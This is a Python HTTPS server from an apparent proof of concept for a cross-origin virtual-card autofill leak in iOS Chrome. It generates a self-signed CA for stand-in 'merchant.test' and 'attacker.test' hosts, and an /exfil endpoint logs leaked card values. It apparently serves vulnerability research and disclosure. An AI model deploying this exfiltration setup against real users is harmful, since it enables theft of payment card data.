#!/usr/bin/env python3
"""
HTTPS server for the iOS manual-fill cross-origin VCN-fill POC.

Both the manual-fill injection gate and IsContextSecureForWebState require
HTTPS, so this server speaks TLS with a self-signed certificate that covers
two SAN hostnames (merchant.test, attacker.test). Run it on a host reachable
from the iOS device, point both hostnames at that host, and trust the CA
profile on the device (Settings > General > VPN & Device Management, then
Settings > General > About > Certificate Trust Settings).

Usage:
    python3 server.py                  # listens on 0.0.0.0:8443
    python3 server.py --port 8443
    python3 server.py --merchant merchant.test --attacker attacker.test

Then on iOS Chrome open:
    https://merchant.test:8443/merchant.html?attacker=https://attacker.test:8443

Exfiltrated values are printed to stdout with a [LEAK] prefix.
"""
import argparse
import datetime
import http.server
import os
import ssl
import sys

ROOT = os.path.dirname(os.path.abspath(__file__))
CERT = os.path.join(ROOT, "poc-cert.pem")
KEY  = os.path.join(ROOT, "poc-key.pem")


def ensure_cert(hosts):
    if os.path.exists(CERT) and os.path.exists(KEY):
        return
    try:
        from cryptography import x509
        from cryptography.x509.oid import NameOID
        from cryptography.hazmat.primitives import hashes, serialization
        from cryptography.hazmat.primitives.asymmetric import rsa
    except ImportError:
        sys.exit("Missing 'cryptography' package. Install with: pip install cryptography\n"
                 "Or supply your own poc-cert.pem / poc-key.pem covering: " + ", ".join(hosts))
    key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, hosts[0])])
    san  = x509.SubjectAlternativeName([x509.DNSName(h) for h in hosts])
    now  = datetime.datetime.utcnow()
    cert = (x509.CertificateBuilder()
            .subject_name(name).issuer_name(name).public_key(key.public_key())
            .serial_number(x509.random_serial_number())
            .not_valid_before(now - datetime.timedelta(days=1))
            .not_valid_after(now + datetime.timedelta(days=365))
            .add_extension(san, critical=False)
            .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
            .sign(key, hashes.SHA256()))
    with open(KEY, "wb") as f:
        f.write(key.private_bytes(serialization.Encoding.PEM,
                                  serialization.PrivateFormat.TraditionalOpenSSL,
                                  serialization.NoEncryption()))
    with open(CERT, "wb") as f:
        f.write(cert.public_bytes(serialization.Encoding.PEM))
    print(f"[+] wrote self-signed cert for {hosts} -> {CERT}")
    print( "    Install/trust this cert on the iOS device before testing.")


class Handler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=ROOT, **kw)

    def do_POST(self):
        if self.path.startswith("/exfil"):
            n = int(self.headers.get("Content-Length", "0") or 0)
            body = self.rfile.read(n).decode("utf-8", "replace")
            origin = self.headers.get("Origin", "?")
            print(f"[LEAK] from {origin}: {body!r}", flush=True)
            self.send_response(204)
            self.end_headers()
            return
        self.send_error(404)

    def end_headers(self):
        self.send_header("Cache-Control", "no-store")
        super().end_headers()


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--port", type=int, default=8443)
    ap.add_argument("--merchant", default="merchant.test")
    ap.add_argument("--attacker", default="attacker.test")
    args = ap.parse_args()

    ensure_cert([args.merchant, args.attacker, "localhost"])

    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(CERT, KEY)

    httpd = http.server.ThreadingHTTPServer(("0.0.0.0", args.port), Handler)
    httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
    print(f"[+] serving HTTPS on 0.0.0.0:{args.port}")
    print(f"[+] open on iOS Chrome:")
    print(f"    https://{args.merchant}:{args.port}/merchant.html"
          f"?attacker=https://{args.attacker}:{args.port}")
    httpd.serve_forever()


if __name__ == "__main__":
    main()